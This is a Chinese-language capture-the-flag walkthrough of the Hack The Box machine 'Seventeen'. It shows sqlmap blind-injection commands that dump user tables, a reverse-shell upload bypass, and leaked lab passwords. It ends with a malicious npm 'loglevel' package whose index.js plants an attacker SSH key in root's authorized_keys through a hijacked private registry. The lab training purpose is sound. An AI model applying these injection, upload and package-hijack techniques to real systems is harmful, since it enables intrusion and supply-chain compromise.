【Hack The Box】Linux练习-- Seventeen
系列专栏:Hack The Box
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月7日
作者水平很有限,如果发现错误,还望告知,感谢!
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us!
8000/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.3; OS: Linux; CPE: cpe:/o:linux:linux_kernel
在左上角它说 seventeen.htb. 我会把它添加到我的 /etc/hosts文件,但该站点似乎是通过 IP 或域名访问的。
响应标头
HTTP/1.1 200 OK
Date: Sat, 26 Nov 2022 02:15:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
ETag: "50d1-5dc46256b75a0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 20689
Connection: close
Content-Type: text/html
feroxbuster -u http://seventeen.htb
没有信息
feroxbuster -u http://seventeen.htb:8000
啥也没有
wfuzz -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 20689
得到exam
添加进hosts
右上角登陆不可用
页面标头正常,搜索框无效,页面没有有效信息,开始进行目录爆破
feroxbuster -u http://exam.seventeen.htb
依旧没有结果
searchsploit exam management system
当查看这些是否匹配时,我会将 URL 结构与来自exp的 URL 进行比较 feroxbuster以上。 前两点指向 /pages/save_user.php.
这个路径目录爆破没有爆破出来,说明也不是302,估计就是404根本不存在,直接访问也访问不到
后面两个目标 /erms/classes/Users.php和 /erms/?p=take_exam&id=1. 这些看起来像我已经看过的网址(没有 /erms).
50726 是经过身份验证的 RCE。 由于我没有信用,我会考虑下一个。
50725 是一个基于布尔值的 SQL 盲注。
http://exam.seventeen.htb/?p=take_exam&id=1%27%20AND%204755=4755%20AND%20%27VHNu%27=%27VHNu
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch
我会给 sqlmap网址,以及 --technique B(对于基于布尔值的)和 -p id告诉它要处理哪个参数。
我将列出数据库 --dbs(我还要补充 --batch选择任何提示的默认答案,并且线程是安全的,因为它是布尔值,而不是基于时间的):
sqlmap --dbs -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
列出表
sqlmap -D erms_db --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
列数据
sqlmap -D erms_db -T users --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1 | 1 | ../oldmanagement/files/avatar.png | Admin | fc8ec7b43523e186a27f46957818391c | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2022-02-24 22:00:15 |
| 6 | 2 | ../oldmanagement/files/avatar.png | Anthony | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark | 2021-09-30 16:34:02 | NULL | 2022-05-10 08:21:39 |
| 7 | 2 | ../oldmanagement/files/avatar.png | Smith | 184fe92824bea12486ae9a56050228ee | Stev1992 | Steven | 2022-02-22 21:05:07 | NULL | 2022-02-24 22:00:24 |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
有路径有用户名hash
但是无法爆破其中任何一个
用户头像的路径。 他们每个人都以 …/oldmanagement/files/.
目前我无法将几个数据库与应用程序相关联。 考虑到网络服务器通常是如何设置的,不同的主机每个都有一个文件夹 /var/www/. 所以如果 ERMS 用完了类似 /var/www/emrs, 然后被链接回 /var/www/oldmanagement,这表明它可能是不同的虚拟主机。 值得一试 - 添加 oldmanagement.seventeen.htb至 /etc/hosts在 Firefox 中访问会加载一个新的登录表单:
是一个登录,但是我目前没有任何的凭据
我将继续枚举一些信息
sqlmap -D db_sfms --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
最终在这里找到了新的一些用户,是一些学生,也正符合页面学生登陆的特征
sqlmap -D db_sfms -T student --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1 | 1A | Male | 12345 | Smith | 1a40620f9a4ed6cb8d81a1d365559233 | John |
| 2 | 2B | Male | 23347 | Mille | abb635c915b0cc296e071e8d76e9060c | James |
| 3 | 2C | Female | 31234 | Shane | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly |
| 4 | 3C | Female | 43347 | Hales | a1428092eb55781de5eb4fd5e2ceb835 | Jamie |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
爆破出来的凭据如下
31234/autodestruction
whatweb http://oldmanagement.seventeen.htb:8000/oldmanagement/student_profile.php
得知cms
School File Management System
存在一些exp,但我不知道版本,我会继续枚举一下
找到一个域名
https://mastermailer.seventeen.htb
但是https不能访问,http可以,会重定向到8000端口,然后跳转到mastermailer
我将先检测重定向绕过
不存在重定向绕过,那就看看这个东西登陆是个怎么事
弱口令,sql有没有
这里用到了imap,并且常见的几种sql注入都不行,弱口令也没有
之前掌握的凭据也没用
简单扫了一下目录,存在版本更新信息,访问看一下,确定版本是1.4.2
/CHANGELOG
那我再次回到刚才的学生页面,因为那里有一个文件上传
我将尝试上传php
我试图通过抓包找到文件的上传路径,但我失败了,所以我选择目录爆破
gobuster dir -u http://oldmanagement.seventeen.htb:8000/oldmanagement/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
但是接着就爆破不出来任何东西了
没办法,我用尽了所有办法,我都找不到上传路径,只能走最后一步了,下载源码分析
https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip
看下载的就行,他会给我们完整的路径
<?php
require_once 'admin/conn.php';
if(ISSET($_REQUEST['store_id'])){
$store_id = $_REQUEST['store_id'];
$query = mysqli_query($conn, "SELECT * FROM `storage` WHERE `store_id` = '$store_id'") or die(mysqli_error());
$fetch = mysqli_fetch_array($query);
$filename = $fetch['filename'];
$stud_no = $fetch['stud_no'];
header("Content-Disposition: attachment; filename=".$filename);
header("Content-Type: application/octet-stream;");
readfile("files/".$stud_no."/".$filename);
}
?>
但是我们直接访问
/files/31234/shell.php
是403的
最后我使用的方法如下
上传一个 PHP 反向 shell,但在发送请求之前,用 Burp 拦截它并将 stud_no 更改为其他学号——否则你将无法执行 PHP 脚本
该文件被上传到:
http://seventeen.htb:8000/oldmanagement/files/<stud_no>/shell.php
还有 2 个其他用户, kavi 和 mark 。
找到的有价值文件
/var/www/html/employeemanagementsystem/process/dbh.php
$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";
这个密码尝试重用,最终在root, kavi 和 mark 中,命中了Mark
我们可以ssh登陆他
我会注意到一个 .npm目录。 NPM 是节点包管理器。 安装了一些模块,还有一个 127.0.0.1_4873目录:
提到了一个新项目、一个私人注册表(有一些问题)和一个旧记录器被替换为 loglevel(一个公开可用的 JavaScript 日志应用程序 )。
查看端口,得到结论如下
Roundcube 的邮件服务器 - 110、143、993、995
用于各种网络服务器的 MySQL - 3306
域名系统 - 53
网站转发到 Docker - 8081(exams),8082(oldmanager)
未知 - 4873,但在 .npm上面的文件夹。
curl http://127.0.0.1:4873
正文由 JavaScript 加载,但我确实看到了“Verdaccio”。 Verdaccio 是一个私有的 JavaScript 仓库。
如果我添加一个 SSH 隧道以提供从我的主机访问 4873,我可以在 Firefox 中加载它:
该电子邮件提到了“旧记录器”,并谈到使用“我们的注册表”。 我将尝试搜索本地注册表中的日志记录模块:
npm search log --registry http://127.0.0.1:4873
npm install db-logger --registry http://127.0.0.1:4873
拉到本地
换个目录,去/tmp,这个目录不可写
看到获得了我们要获得的日志文件
这个是个目录,进去看看,然后得到信息如下
user: "root",
password: "IhateMathematics123#",
_nodeVersion": "8.10.0",
Log data to a database",
http://127.0.0.1:4873/db-logger/-/db-logger-1.0.1.tgz
mysql": "2.18.1
npmVersion": "3.5.2
ssh kavi@10.129.227.143
#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep --silent
/bin/chown root:root node_modules -R
else
/bin/echo "[+] $dep already installed"
fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
进到cd /opt/app
循环遍历两个依赖项中的每一个
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
检查每个依赖项是否已安装
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
如果没有,则安装它们。 然后它启动 Node 应用程序:
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
按照下面的命令,会用root来chown下载的模块
/usr/bin/npm install $dep --silent
/bin/chown root:root node_modules -R
然后启动js文件
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
首先我们运行sh文件,发现调用的只有loglevel,所以我们只挟持这个包就行
我将仔细的描述这个原理
首先我们要去用户的home下确定一下registyr的目录
而后更改他,因为我要恶意挟持他,所以我们将他改为我们的主机
而后我们要在本地建立一个loglevel,而后进去做一些恶意的npm
mkdir loglevel
cd loglevel
我将完整的步骤放在这里,而后一步步执行
例子中被调用的包是loglevel
所涉及的镜像是verdaccio(来自于npm管理页面)
1.创建一个目录
mkdir loglevel
cd loglevel
2. 拉取镜像
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm -p 4873:4873 verdaccio/verdaccio
3. 添加用户
npm adduser --registry http://10.10.14.6:4873
4. 创建
npm init(需要更高版本,例如1.8.0改为2.0.0)
5. 再写index.js
=================================================
const cp = require("child_process")
cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");
function log(msg) {
console.log(msg);
}
function debug(msg) {
console.log(msg);
}
function warn(msg) {
console.log(msg);
}
module.exports.log = log;
=================================================
6. 发布
npm publish --registry http://10.10.14.29:4873
7. 修改指向
修改.npmrc 文件到我们的本地服务开启端口
8. 执行(关于高权限调用npm包的脚本等)
sudo /opt/app/startup.sh
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm -p 4873:4873 verdaccio/verdaccio
首先docker启动对应的网站服务器
–rm是利用完就删除 -p这个最好跟目标端口一致
verdaccio/verdaccio
是镜像名字
npm adduser --registry http://10.10.14.6:4873
npm init
我唯一不能使用默认值的是名称,我将命名为 loglevel,因为我希望它在 靶场 上被服务器包含和调用,并且我将升级版本,使其超出 实际模块 的当前版本,目前为 1.8.0。 上面的过程创建了一个 package.json当前目录下的文件。
而后我将创建一个index.js
里面包装好你的命令
我会选择这个,因为它能直接写一个密钥,比较方便
const cp = require("child_process")
cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");
function log(msg) {
console.log(msg);
}
function debug(msg) {
console.log(msg);
}
function warn(msg) {
console.log(msg);
}
module.exports.log = log;
之所以创建index.js是因为创建的init主函数就是index.js
这就是我们最终得到的结构
而后
npm publish --registry http://10.10.14.29:4873
而后在此确保正确的指向
修改.npmrc 即可因为他应该是存在一个计划任务,定期恢复
所以我们的动作也要快一点
sudo /opt/app/startup.sh